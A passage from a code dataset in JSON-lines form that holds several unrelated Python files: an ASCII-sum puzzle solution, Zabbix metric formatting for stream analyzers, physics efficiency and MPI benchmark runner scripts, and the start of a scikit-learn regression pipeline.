os.path.join(tmpdir, 'artifacts')\n\n artifact_dir = os.path.join(tmpdir, 'cache')\n\n artifact = DirectoryArtifact(artifact_root, artifact_dir)\n self.assertFalse(artifact.exists())\n","sub_path":"tests/python/pants_test/cache/test_artifact.py","file_name":"test_artifact.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57905619","text":"def same_ascii(a, b):\n s1 = 0\n s2 = 0\n for i in a:\n s1 += ord(i)\n for i in b:\n s2 += ord(i)\n if s1 == s2:\n return True\n else:\n return False\n","sub_path":"_algorithms_challenges/edabit/_Edabit-Solutions-master/Same ASCII_/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83250930","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport lib.utils as utils\n\n\ndef jdumps(o):\n return json.dumps(o, ensure_ascii=False)\n\n\ndef i_m(base_metric, tpl, **kwargs):\n if not kwargs:\n return \".\".join([base_metric, tpl])\n\n prep_kwargs = {\n kw: _str_prep(kwargs[kw]) for kw in kwargs\n }\n return \".\".join([base_metric, tpl.format(**prep_kwargs)])\n\n\ndef z_m(tpl, **kwargs):\n prep_kwargs = {\n _str_prep(kw): _str_prep(kwargs[kw]) for kw in kwargs\n }\n return tpl.format(**prep_kwargs)\n\n\ndef _str_prep(s):\n if isinstance(s, (int, float)):\n s = str(s)\n return reduce(\n lambda s, d: s.replace(d[0], d[1]),\n ((\".\", \"_\"), (\"_[\", \".\"), (\"]\", \"\")),\n s\n )\n\ndef transliterate(name):\n to_replace = {'ж': 'zh', 'о': 'o', 'п': 'p', 'а': 'a', 'б': 'b', 'в': 'v',\n 'г': 'g', 'д': 'd', 'е': 'e', 'ё': 'e', 'з': 'z', 'и': 'i',\n 'й': 'i', 'к': 'k', 'л': 'l', 'м': 'm', 'н': 'n', 'р': 'r',\n 'с': 's', 'т': 't', 'у': 'u', 'ф': 'f', 'х': 'h', 'ц': 'c',\n 'ч': 'cz', 'ш': 'sh', 'щ': 'scz', 'ъ': '', 'ы': 'y', 'ь': '',\n 'э': 'e', 'ю': 'u', 'я': 'ja', 'А': 'a', 'Б': 'b', 'В': 'v',\n 'Г': 'g', 'Д': 'd', 'Е': 'e', 'Ё': 'e', 'Ж': 'zh', 'З': 'z',\n 'И': 'i', 'Й': 'i', 'К': 'k', 'Л': 'l', 'М': 'm', 'Н': 'n',\n 'О': 'o', 'П': 'p', 'Р': 'r', 'С': 's', 'Т': 't', 'У': 'u',\n 'Ф': 'Х', 'Ц': 'c', 'Ч': 'cz', 'Ш': 'sh', 'Щ': 'scz', 'Ъ': '',\n 'Ы': 'y', 'Ь': '', 'Э': 'e', 'Ю': 'u', 'Я': 'ja', ',': '',\n '?': '', ' ': '_', '~': '', '!': '', '@': '', '#': '', '$': '',\n '%': '', '^': '', '&': '', '*': '', '(': '', ')': '',\n '=': '', '+': '', ':': '', ';': '', '<': '', '>': '', '\\'': '',\n '\"': '', '\\\\': '', '/': '', '№': '', '[': '', ']': '', '{': '',\n '}': '', 'ґ': '', 'ї': '', 'є': '', 'Ґ': 'g', 'Ї': 'i', 'Є': 'e',\n u'\\x01': '', u'\\x05': ''}\n\n for key in to_replace:\n try:\n name = name.replace(unicode(key), to_replace[key])\n except:\n try:\n name = name.replace(key, to_replace[key])\n except:\n pass\n return name\n\n\ndef to_zabbix(analyzer_name, raw_metrics):\n metrics = {\n \"autodiscovery\": [],\n \"static\": [],\n \"dynamic\": []\n }\n m_autodiscovery = metrics[\"autodiscovery\"].append\n m_static = metrics[\"static\"].append\n m_dynamic = metrics[\"dynamic\"].append\n\n mcasts = set()\n mcast_sids = set()\n mcast_sids_pids = set()\n qam_tss = set()\n qam_tss_sids = set()\n for ts in raw_metrics[\"tss\"]:\n mcasts.add(ts)\n ts_info = raw_metrics[\"tss\"][ts]\n for svc in ts_info[\"services\"]:\n if svc == \"count\":\n continue\n svc_info = ts_info[\"services\"][svc]\n mcast_sid = z_m(\"{ts}*SID-{sid}\", ts=ts, sid=svc)\n mcast_sids.add(mcast_sid)\n for pid in svc_info[\"pids\"]:\n mcast_sid_pid = z_m(\"{mcast_sid}*PID-{pid}\", mcast_sid=mcast_sid, pid=pid)\n mcast_sids_pids.add(mcast_sid_pid)\n\n m_autodiscovery((analyzer_name, \"get_ts\", jdumps({\"data\": [{\"{#TS}\": _str_prep(ts)} for ts in mcasts]})))\n if raw_metrics.get(\"is_scr\", False):\n m_autodiscovery((analyzer_name, \"get_sid\", jdumps({\"data\": [{\"{#SID}\": _str_prep(sid)} for sid in mcast_sids]})))\n\n if raw_metrics.get(\"is_rgs\", False):\n for qts in raw_metrics[\"qam\"][\"tss\"]:\n qam_tss.add(qts)\n for qsvc in raw_metrics[\"qam\"][\"tss\"][qts][\"services\"]:\n qam_tss_sids.add(z_m(\"{qts}*SID-{qsid}\", qts=qts, qsid=qsvc))\n\n m_autodiscovery((analyzer_name, \"get_qam\", jdumps({\"data\": [{\"{#QAM}\": _str_prep(qam)} for qam in qam_tss]})))\n\n m_autodiscovery((analyzer_name, \"get_qam_sid\", jdumps({\"data\": [{\"{#QAM_SID}\": _str_prep(qam)} for qam in qam_tss_sids]})))\n\n for qts in raw_metrics[\"qam\"][\"tss\"]:\n ts_data = raw_metrics[\"qam\"][\"tss\"][qts]\n for p_name in (\n (\"current_bitrate\", \"net_bitrate\"),\n (\"max_centre_frequency_offset\", \"frequency_offset\"),\n (\"minSnr\", \"snr\"),\n (\"minMer\", \"mer\"),\n \"min_signal_level\", \"max_signal_level\", \"sid_count\"):\n if isinstance(p_name, tuple):\n p_real_name, p_name = p_name\n value = utils.get(ts_data, p_real_name)\n else:\n value = utils.get(ts_data, p_name)\n if isinstance(value, basestring):\n value = value.split(\" \")[0]\n metric = z_m(\"{p_name}_[{qts}]\", p_name=p_name, qts=qts)\n m_dynamic((analyzer_name, metric, value))\n\n for qsvc in raw_metrics[\"qam\"][\"tss\"][qts][\"services\"]:\n qsvc_data = raw_metrics[\"qam\"][\"tss\"][qts][\"services\"][qsvc]\n metric = z_m(\"pids_[{qts}*SID-{qsvc}]\", qts=qts, qsvc=qsvc)\n m_dynamic((analyzer_name, metric, qsvc_data[\"pid_count\"]))\n\n for p_name in (\"uptime\", \"bitrate\", \"cpu_temp\", \"free_mem\", \"free_disc\", \"port\", \"version\", \"time\",\n \"time_qam\", \"time_qam_diff\", \"time_eth\", \"time_eth_diff\"):\n\n m_static((analyzer_name, p_name, utils.get(raw_metrics, p_name)))\n\n tss_data = raw_metrics.get(\"tss\", {})\n for ts in tss_data:\n ts_data = raw_metrics[\"tss\"][ts]\n for p_name in (\"net_bitrate\", \"cc_errors\",\n \"crc\", (\"mlrerr1m\", \"mlr\"), (\"iatPeak1m\", \"iat\")):\n\n if isinstance(p_name, tuple):\n p_real_name, p_name = p_name\n value = utils.get(ts_data, p_real_name)\n else:\n value = utils.get(ts_data, p_name)\n metric = z_m(\"{p_name}_[{ts}]\", p_name=p_name, ts=ts)\n m_dynamic((analyzer_name, metric, value))\n\n if raw_metrics.get(\"is_reciv\", False):\n value = utils.get(ts_data, \"scrambled\")\n metric = z_m(\"scrambled_[{ts}]\", ts=ts)\n m_dynamic((analyzer_name, metric, value))\n\n if raw_metrics.get(\"is_scr\", False):\n value = utils.get(ts_data, \"not_existed\")\n metric = z_m(\"no_cktv_tabes_[{ts}]\", ts=ts)\n m_dynamic((analyzer_name, metric, value))\n value = utils.get(ts_data, \"dst_addr\")\n metric = z_m(\"dst_addr_[{ts}]\", ts=ts)\n m_dynamic((analyzer_name, metric, value))\n\n if raw_metrics.get(\"is_rgs\", False) :\n value = utils.get(ts_data, \"dst_addr\")\n metric = z_m(\"dst_addr_[{ts}]\", ts=ts)\n m_dynamic((analyzer_name, metric, value))\n\n services_data = ts_data.get(\"services\", None)\n if not services_data:\n continue\n for svc in services_data:\n if svc == \"count\":\n continue\n svc_data = ts_data[\"services\"][svc]\n sid = svc_data[\"id\"]\n value = utils.get(svc_data, \"bitrate\")\n metric = z_m(\"net_bitrate_[{ts}*SID-{sid}]\", ts=ts, sid=sid)\n m_dynamic((analyzer_name, metric, value))\n\n if raw_metrics.get(\"is_src\", False):\n value = svc_data.get(\"scrambled_ok\", \"NO_DATA\")\n metric = z_m(\"scramble_[{ts}*SID-{sid}]\", ts=ts, sid=sid)\n m_dynamic((analyzer_name, metric, value))\n\n if \"pids_ok\" in svc_data:\n value = utils.get(svc_data, \"pids_ok\")\n metric = z_m(\"no_cktv_pid_[{ts}*SID-{sid}]\", ts=ts, sid=sid)\n m_dynamic((analyzer_name, metric, value))\n\n if \"scrambled_ok\" in svc_data:\n value = utils.get(svc_data, \"scrambled_ok\")\n metric = z_m(\"scramble_[{ts}*SID-{sid}]\", ts=ts, sid=sid)\n m_dynamic((analyzer_name, metric, value))\n\n return metrics","sub_path":"python/external-api/Sencore/lib/metrics_utils.py","file_name":"metrics_utils.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"543234787","text":"#!/usr/bin/env python3\n\nimport click\nimport datetime\nfrom subprocess import call\nfrom functools import partial\n\nshell_call = partial(call, shell=True)\n\ndef get_systematic_type(ctx, params, value):\n if value in ['Nominal', 'Binned']:\n return value\n elif ctx.params['collision_type'] == 'pPb':\n up_or_down = click.prompt(\"Upward or downward fluctuation?\", default='Up')\n return value, up_or_down\n else:\n systematic_type = click.prompt(\"What kind of TnP to use for pp systematics?\", default='Trigger')\n up_or_down = click.prompt(\"Upward or downward fluctuation?\", default='Up')\n return value, up_or_down, systematic_type\n\n\n@click.command()\n@click.option('--identifier',\n default=str(datetime.date.today()).replace('-', '_'),\n prompt='Folder name',\n help='Call the folder something logical')\n@click.option('--state', default='1S', prompt='Which Upsilon state?', help='Can be 1S, 2S, 3S or all_states')\n@click.option('--collision_type', default='pPb', prompt='Collision type',\n help='Can be pp or pPb') # Generalization to other collision types\n@click.option('--tnp_correction', default='Nominal', prompt='What TnP scale factors to use',\n callback=get_systematic_type,\n help='Can be Nominal, Systematics, Binned (Binned is only for pp)')\ndef run_efficiencies(identifier, state, collision_type, tnp_correction):\n if (not isinstance(tnp_correction, tuple)):\n up_or_down = None\n systematic_type = None\n elif len(tnp_correction) == 2:\n tnp_correction, up_or_down = tnp_correction\n systematic_type = None\n elif len(tnp_correction) == 3:\n tnp_correction, up_or_down, systematic_type = tnp_correction\n else:\n raise ValueError('You did not enter the write options for this collision type')\n\n if up_or_down is not None:\n identifier += up_or_down\n\n if (collision_type == 'pp') and (systematic_type is not None):\n identifier += systematic_type\n\n shell_call(f'mkdir eff_{collision_type}{identifier}')\n if state in ['1S', '2S', '3S']:\n state = int(state[0])\n run_one_state(state, collision_type, tnp_correction, identifier, systematic_type, up_or_down)\n elif state == 'all_states':\n for tmp_state in [1, 2, 3]:\n run_one_state(tmp_state, collision_type, tnp_correction,\n identifier, systematic_type, up_or_down)\n else:\n raise ValueError('Give it a state')\n\n\ndef run_one_state(state, collision_type, tnp_correction, identifier, systematic_type, up_or_down):\n if collision_type == 'pPb':\n ispPb = 1\n elif collision_type == 'pp':\n ispPb = 0\n if (tnp_correction == 'Systematics') and (systematic_type is None):\n raise ValueError(\n 'You want systematic deviation due to tnp corrections for pp but did not specify the tnp type')\n if (tnp_correction == 'Systematics') and (up_or_down is None):\n raise ValueError('You forgot to specify upward or downward fluctuation')\n else:\n raise ValueError('You didnt specify pp or pPb')\n\n shell_call(f'cp dimuEff_RpA_ana.C dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/VVV/{state}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/WWW/{ispPb}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/XXX/{collision_type}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/tnp_choice/{tnp_correction}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/pp_tnp_sys_choice/{systematic_type or -1}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/RpA_ana/oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/TAG/{identifier}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'sed -i \"\" \"s/up_or_down/{up_or_down or -1}/g;\" dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'cp dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C eff_{collision_type}{identifier}/dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'root -l -q -b ./dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n shell_call(f'rm dimuEff_oniaMode{state}_{collision_type}_{tnp_correction}_{identifier}.C')\n\n\nif __name__ == '__main__':\n run_efficiencies()\n","sub_path":"Corrections/Efficiency/run_efficiencies.py","file_name":"run_efficiencies.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"397896449","text":"from collections import defaultdict, OrderedDict\nfrom os import getenv\nfrom re import findall\nfrom subprocess import call\n\nIS_IN_CLUSTER = True\nSIZES=[1, 2, 4]\nrun = 10\nMATH_FUNCTIONS=2\n\n\ndef run_commands(commands):\n command = \" && \".join(commands)\n print(command)\n return call(command, shell=True)\n\n\ndef clean():\n commands = [\n \"rm output.txt\",\n \"touch output.txt\"\n ]\n run_commands(commands)\n\n\ndef build():\n commands = [\n \"mrexec all rm -rf main.c\",\n \"mrexec all rm -rf math_function.h\",\n \"mrexec all rm -rf math_function.c\",\n \"mrexec all rm -rf main\",\n \"mrcp all main.c main.c\",\n \"mrcp all math_function.c math_function.c\",\n \"mrcp all math_function.h math_function.h\",\n \"mrexec all mpicc -o main main.c math_function.c -std=c11 -lm\",\n \"mpicc main.c math_function.c -o main -std=c11 -lm\"\n ]\n if not IS_IN_CLUSTER:\n commands = [\"mpicc main.c math_function.c -o main -std=c11 -lm\"]\n run_commands(commands)\n\n\ndef execute():\n for execution in SIZES:\n for func in range(MATH_FUNCTIONS):\n command = \"echo 'mpirun -np {} main 0 1 {}' >> output.txt\".format(execution, func)\n run_commands([command])\n command = \"mpirun -np {} -hostfile ../../host_file main 0 1 {} >> output.txt\".format(execution, func)\n run_commands([command])\n\n\ndef get_node_time(line, split_base):\n line = line.replace(\"{} (\".format(split_base), \"\")\n line = line.replace(\"):\", \"\")\n node, time = line.split(\" \")\n return int(node), float(time)\n\n\ndef build_head(head):\n values = findall(r'\\d+', head)\n nodes, _, _, function = [int(value) for value in values]\n return nodes, function\n\n\ndef resize():\n exp = 4\n for j in range(exp):\n for i in range(run - 1):\n SIZES.insert(j * run, 2 ** j)\n\n\ndef generate_metrics():\n arquive = open('output.txt')\n counts = defaultdict(int)\n nodes, function = build_head(next(arquive))\n counts[\"{}-{}\".format(nodes, function)] += 1\n data = defaultdict(dict)\n for line in arquive:\n line = line.strip()\n tag = None\n if \"Time-around-quad\" in line:\n tag = \"quad\"\n typo = \"Time-around-quad\"\n elif \"Time-total\" in line:\n tag = \"total\"\n typo = \"Time-total\"\n\n if tag:\n node, time = get_node_time(line, typo)\n key = \"{},{},{}\".format(nodes, function, node)\n if tag not in data[key]:\n data[key][tag] = 0.0\n data[key][tag] += time\n elif \"mpirun -np\" in line:\n nodes, function = build_head(line)\n counts[\"{}-{}\".format(nodes, function)] += 1\n\n print(\"nodes,function,node,quad,total,count\")\n for node, values in OrderedDict(sorted(data.items())).items():\n count = counts[\"{}-{}\".format(*node.split(\",\")[0:2])]\n print(\"{},{},{},{}\".format(node, values[\"quad\"]/count, values[\"total\"]/count,count))\n\n\nclean()\nbuild()\nresize()\nexecute()\ngenerate_metrics()\n","sub_path":"trabalho-2/trab1a/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"386630319","text":"\"\"\"\nPURPOSE:\nMachine learning regression implemented in sci-kit learn. \n\nTo access pandas, numpy, and sklearn packages on MSU HPCC first run:\nexport PATH=/mnt/home/azodichr/miniconda3/bin:$PATH\n\nINPUTS:\n\t\n\tREQUIRED:\n\t-df Feature & class dataframe for ML\n\t-alg Available: RF, SVM (linear), SVMpoly, SVMrbf, GB, and Logistic Regression (LogReg)\n\t\n\tOPTIONAL:\n\t-y_name \tName of the column to predict (Default = Y)\n\t-apply\t String in Y column that indicates unknown values you want to predict. (Default = None)\n\t-sep Set seperator for input data (Default = '\\t')\n\t-ho File with list of intances to holdout from feature selection\n\t-gs T/F if grid search over parameter space is desired. (Default = True)\n\t-normX\t\tT/F to normalize the features (Default = F (except T for SVM))\n\t-drop_na T/F to drop rows with NAs\n\t-cv # of cross-validation folds. (Default = 10)\n\t-cv_set \tFile with cv folds defined\n\t-n/-b\t\t\t# of times CV predictions are run (Default = 100)\n\t-p # of processors. (Default = 1, max for HPCC = 14)\n\t-tag String for SAVE name and TAG column in RESULTS.txt output.\n\t-feat Import file with subset of features to use. If invoked,-tag arg is recommended. Default: keep all features.\n\t-Y String for column with what you are trying to predict. Default = Y\n\t-save Adjust save name prefix. Default = [df]_[alg]_[tag (if used)].\n\t\t\t\t\t\t\tCAUTION: will overwrite!\n\t-short Set to True to output only the median and std dev of prediction scores, default = full prediction scores\n\t-gs_full \tT/F Output full results from the grid search. (Default = F)\n\t-gs_reps Number of replicates of the grid search (Default = 10)\n\t-gs_type Full grid search or randomized search (Default = full, alt = random)\n\t-df2 File with class information. Use only if df contains the features but not the Y values \n\t\t\t\t\t\t\t* Need to specifiy what column in df2 is y using -y_name \n\t\n\tPLOT OPTIONS:\n\t-plots T/F Output a regression plot showing true vs. predicted Y\n\n\nOUTPUT:\n\t-SAVE_imp Importance scores for each feature\n\t-SAVE_GridSearch Results from parameter sweep sorted by F1\n\t-SAVE_scores\t\t Mean predicted Y value & individual predictions from each -n\n\t-SAVE_results\t\t Detailed results from each model \n\t-RESULTS.txt \t\tAccumulates results from all ML runs done in a specific folder - use unique save names! XX = RF or SVC\n\n\"\"\"\n\nimport sys, os\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport time\nimport ML_functions as ML\n\nstart_total_time = time.time()\ndef main():\n\t\n\t# Default code parameters\n\tn, FEAT, n_jobs, Y_col, plots, cv_num, TAG, SAVE, short_scores, OUTPUT_LOC = 100, 'all', 1, 'Y', 'False', 10, '', '', '', ''\n\ty_name, SEP, DF2, df_unknowns, apply_model , normX, normY, cv_reps, cv_sets = 'Y', '\\t', 'None', 'none','None', 'F', 'F', 10, 'none'\n\tdrop_na, ho = 'f', ''\n\t\n\t# Default parameters for Grid search\n\tGS, gs_score, GS_REPS, GS_TYPE, gs_full = 'f', 'neg_mean_squared_error', 10, 'full', 'f'\n\t\n\t# Default Random Forest and GB parameters\n\tn_estimators, max_depth, max_features, learning_rate = 500, 10, \"sqrt\", 1.0\n\t\n\t# Default Linear SVC parameters\n\tkernel, C, degree, gamma, loss, max_iter = 'rbf', 0.01, 2, 0.00001, 'hinge', \"500\"\n\t\n\t# Default Logistic Regression paramemter\n\tpenalty, C, intercept_scaling = 'l2', 1.0, 1.0\n\t\n\tfor i in range (1,len(sys.argv),2):\n\t\tif sys.argv[i].lower() == \"-df\":\n\t\t\tDF = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-df2\":\n\t\t\tDF2 = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-y_name\":\n\t\t\ty_name = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-sep\":\n\t\t\tSEP = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == '-save':\n\t\t\tSAVE = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == '-feat':\n\t\t\tFEAT = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-gs\":\n\t\t\tGS = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-gs_reps\":\n\t\t\tGS_REPS = int(sys.argv[i+1])\n\t\telif sys.argv[i].lower() == \"-gs_type\":\n\t\t\tGS_TYPE = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-gs_full\":\n\t\t\tgs_full = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == '-normx':\n\t\t\tnormX = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-gs_score\":\n\t\t\tgs_score = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-Y\":\n\t\t\tY = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-apply\":\n\t\t\tapply_model = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-b\" or sys.argv[i].lower() == \"-n\":\n\t\t\tcv_reps = int(sys.argv[i+1])\n\t\telif sys.argv[i].lower() == \"-drop_na\":\n\t\t\tdrop_na = sys.argv[i+1]\n\t\tif sys.argv[i].lower() == '-ho':\n\t\t\tho = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-alg\":\n\t\t\tALG = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-cv\":\n\t\t\tcv_num = int(sys.argv[i+1])\n\t\telif sys.argv[i].lower() == \"-cv_set\":\n\t\t\tcv_sets = pd.read_csv(sys.argv[i+1], index_col = 0)\n\t\t\tcv_reps = len(cv_sets.columns)\n\t\t\tcv_num = len(cv_sets.iloc[:,0].unique())\n\t\telif sys.argv[i].lower() == \"-plots\":\n\t\t\tplots = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-tag\":\n\t\t\tTAG = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-out\":\n\t\t\tOUTPUT_LOC = sys.argv[i+1]\n\t\telif sys.argv[i].lower() == \"-n_jobs\" or sys.argv[i] == \"-p\":\n\t\t\tn_jobs = int(sys.argv[i+1])\n\t\telif sys.argv[i].lower() == \"-short\":\n\t\t\tscores_len = sys.argv[i+1]\n\t\t\tif scores_len.lower() == \"true\" or scores_len.lower() == \"t\":\n\t\t\t\tshort_scores = True\n\n\tif len(sys.argv) <= 1:\n\t\tprint(__doc__)\n\t\texit()\n\t\n\t####### Load Dataframe & Pre-process #######\n\t\n\tdf = pd.read_csv(DF, sep=SEP, index_col = 0)\n\n\t# If features and class info are in separate files, merge them: \n\tif DF2 != 'None':\n\t\tstart_dim = df.shape\n\t\tdf_class = pd.read_csv(DF2, sep=SEP, index_col = 0)\n\t\tdf = pd.concat([df_class[y_name], df], axis=1, join='inner')\n\t\tprint('Merging the feature & class dataframes changed the dimensions from %s to %s (instance, features).' \n\t\t\t% (str(start_dim), str(df.shape)))\n\n\t# Specify Y column - default = Class\n\tif y_name != 'Y':\n\t\tdf = df.rename(columns = {y_name:'Y'})\n\n\t# Filter out features not in feat file given - default: keep all\n\tif FEAT != 'all':\n\t\tprint('Using subset of features from: %s' % FEAT)\n\t\twith open(FEAT) as f:\n\t\t\tfeatures = f.read().strip().splitlines()\n\t\t\tfeatures = ['Y'] + features\n\t\tdf = df.loc[:,features]\n\n\t# Check for Nas\n\tif df.isnull().values.any() == True:\n\t\tif drop_na.lower() == 't' or drop_na.lower() == 'true':\n\t\t\tstart_dim = df.shape\n\t\t\tdf = df.dropna(axis=0)\n\t\t\tprint('Dropping rows with NA values changed the dimensions from %s to %s.' \n\t\t\t\t% (str(start_dim), str(df.shape)))\n\t\telse:\n\t\t\tprint(df.columns[df.isnull().any()].tolist())\n\t\t\tprint('There are Na values in your dataframe.\\n Impute them or add -drop_na True to remove rows with nas')\n\t\t\tquit()\n\n\t# Set up dataframe of unknown instances that the final models will be applied to and drop unknowns from df for model building\n\tif apply_model != 'None':\n\t\tdf_unknowns = df[(df['Y']==apply_model)]\n\t\tpredictions = pd.DataFrame(data=df['Y'], index=df.index, columns=['Y'])\n\t\tdf = df.drop(df_unknowns.index.values)\n\t\tprint(\"Model built using %i instances and applied to %i unknown instances (see _scores file for results)\" % (len(df.index), len(df_unknowns.index)))\n\telse:\n\t\tpredictions = pd.DataFrame(data=df['Y'], index=df.index, columns=['Y'])\n\t\tprint(\"Model built using %i instances\" % len(df.index))\n\t\n\t# Make sure Y is datatype numeric\n\tdf['Y'] = pd.to_numeric(df['Y'], errors = 'raise')\n\n\t# Set up dataframe of holdout instances that the final models will be applied to\n\tif ho !='':\n\t\tdf_all = df.copy()\n\t\tprint('Removing holdout instances to apply model on later...')\n\t\twith open(ho) as ho_file:\n\t\t\tho_instances = ho_file.read().splitlines()\n\t\ttry:\n\t\t\tho_df = df.loc[ho_instances, :]\n\t\t\tdf = df.drop(ho_instances)\n\t\texcept:\n\t\t\tho_instances = [int(x) for x in ho_instances]\n\t\t\tho_df = df.loc[ho_instances, :]\n\t\t\tdf = df.drop(ho_instances)\n\telse:\n\t\tho_df = 'None'\n\t\tho_instances = 'None'\n\t\n\n\n\tif SAVE == \"\":\n\t\tif TAG == \"\":\n\t\t\tif OUTPUT_LOC == \"\":\n\t\t\t\tSAVE = DF + \"_\" + ALG\n\t\t\telse:\n\t\t\t\tSAVE = OUTPUT_LOC + '/' + DF + \"_\" + ALG\n\t\telse:\n\t\t\tif OUTPUT_LOC == \"\":\n\t\t\t\tSAVE = DF + \"_\" + ALG + \"_\" + TAG\n\t\t\telse:\n\t\t\t\tSAVE = OUTPUT_LOC + '/' + DF + \"_\" + ALG + \"_\" + TAG\n\t\n\t# Normalize feature data (normX)\n\tif ALG == \"SVM\" or normX == 't' or normX == 'true':\n\t\tfrom sklearn import preprocessing\n\t\ty = df['Y']\n\t\tX = df.drop(['Y'], axis=1)\n\t\tmin_max_scaler = preprocessing.MinMaxScaler()\n\t\tX_scaled = min_max_scaler.fit_transform(X)\n\t\tdf = pd.DataFrame(X_scaled, columns = X.columns, index = X.index)\n\t\tdf.insert(loc=0, column = 'Y', value = y)\n\n\t\t\n\tprint(\"Snapshot of data being used:\")\n\tprint(df.head())\n\n\tn_features = len(list(df)) - 1\n\t\n\t####### Run parameter sweep using a grid search #######\n\t\n\tif GS.lower() == 'true' or GS.lower() == 't':\n\t\tstart_time = time.time()\n\t\tprint(\"\\n\\n===> Grid search started <===\") \n\t\t\n\t\tparams2use, param_names = ML.fun.RegGridSearch(df, SAVE, ALG, gs_score, n, cv_num, n_jobs, GS_REPS, GS_TYPE, gs_full)\n\t\t\n\t\t# Print results from grid search\n\t\tif ALG.lower() == 'rf':\n\t\t\tmax_depth, max_features = params2use\n\t\t\tprint(\"Parameters selected: max_depth=%s, max_features=%s\" % (str(max_depth), str(max_features)))\n\t\n\t\telif ALG.lower() == 'svm':\n\t\t\tC, kernel = params2use\n\t\t\tprint(\"Parameters selected: Kernel=%s, C=%s\" % (str(kernel), str(C)))\n\t\t\n\t\telif ALG.lower() == \"svmpoly\":\n\t\t\tC, degree, gamma, kernel = params2use\n\t\t\tprint(\"Parameters selected: Kernel=%s, C=%s, degree=%s, gamma=%s\" % (str(kernel), str(C), str(degree), str(gamma)))\n\t\t\n\t\telif ALG.lower() == \"svmrbf\":\n\t\t\tC, gamma, kernel = params2use\n\t\t\tprint(\"Parameters selected: Kernel=%s, C=%s, gamma=%s\" % (str(kernel), str(C), str(gamma)))\n\t\t\n\t\telif ALG.lower() == \"logreg\":\n\t\t\tC, intercept_scaling, penalty = params2use\n\t\t\tprint(\"Parameters selected: penalty=%s, C=%s, intercept_scaling=%s\" % (str(penalty), str(C), str(intercept_scaling)))\n\n\t\telif ALG.lower() == \"gb\":\n\t\t\tlearning_rate, max_depth, max_features = params2use\n\t\t\tprint(\"Parameters selected: learning rate=%s, max_features=%s, max_depth=%s\" % (str(learning_rate), str(max_features), str(max_depth)))\n\t\n\t\tprint(\"Grid search complete. Time: %f seconds\" % (time.time() - start_time))\n\t\n\telse:\n\t\tparams2use = \"Default parameters used\"\n\t \n\n\n\t####### Run ML models #######\n\tstart_time = time.time()\n\tprint(\"\\n\\n===> ML Pipeline started <===\")\n\t\n\tresults = []\n\tresults_ho = []\n\timp = pd.DataFrame(index = list(df.drop(['Y'], axis=1)))\n\n\n\n\t\t\n\tfor j in range(0,cv_reps): \n\t\tprint(\"Running %i of %i\" % (j+1, cv_reps))\n\t\trep_name = \"rep_\" + str(j+1)\n\t\t\n\t\t# Prime regressor object based on chosen algorithm\n\t\tif ALG.lower() == \"rf\":\n\t\t\treg = ML.fun.DefineReg_RandomForest(n_estimators,max_depth,max_features,n_jobs,j)\n\t\telif ALG.lower() == \"svm\" or ALG.lower() == 'svmrbf' or ALG.lower() == 'svmpoly':\n\t\t\treg = ML.fun.DefineReg_SVM(kernel,C,degree,gamma,j)\n\t\telif ALG.lower() == \"gb\":\n\t\t\treg = ML.fun.DefineReg_GB(learning_rate,max_features,max_depth,n_jobs,j)\n\t\telif ALG.lower() == \"logreg\":\n\t\t\treg = ML.fun.DefineReg_LinReg()\n\t\telse:\n\t\t\tprint('Algorithm not available...')\n\t\t\tquit()\n\n\t\t# Run ML algorithm.\n\t\tif ho != '':\n\t\t\tresult,cv_pred,importance,result_ho 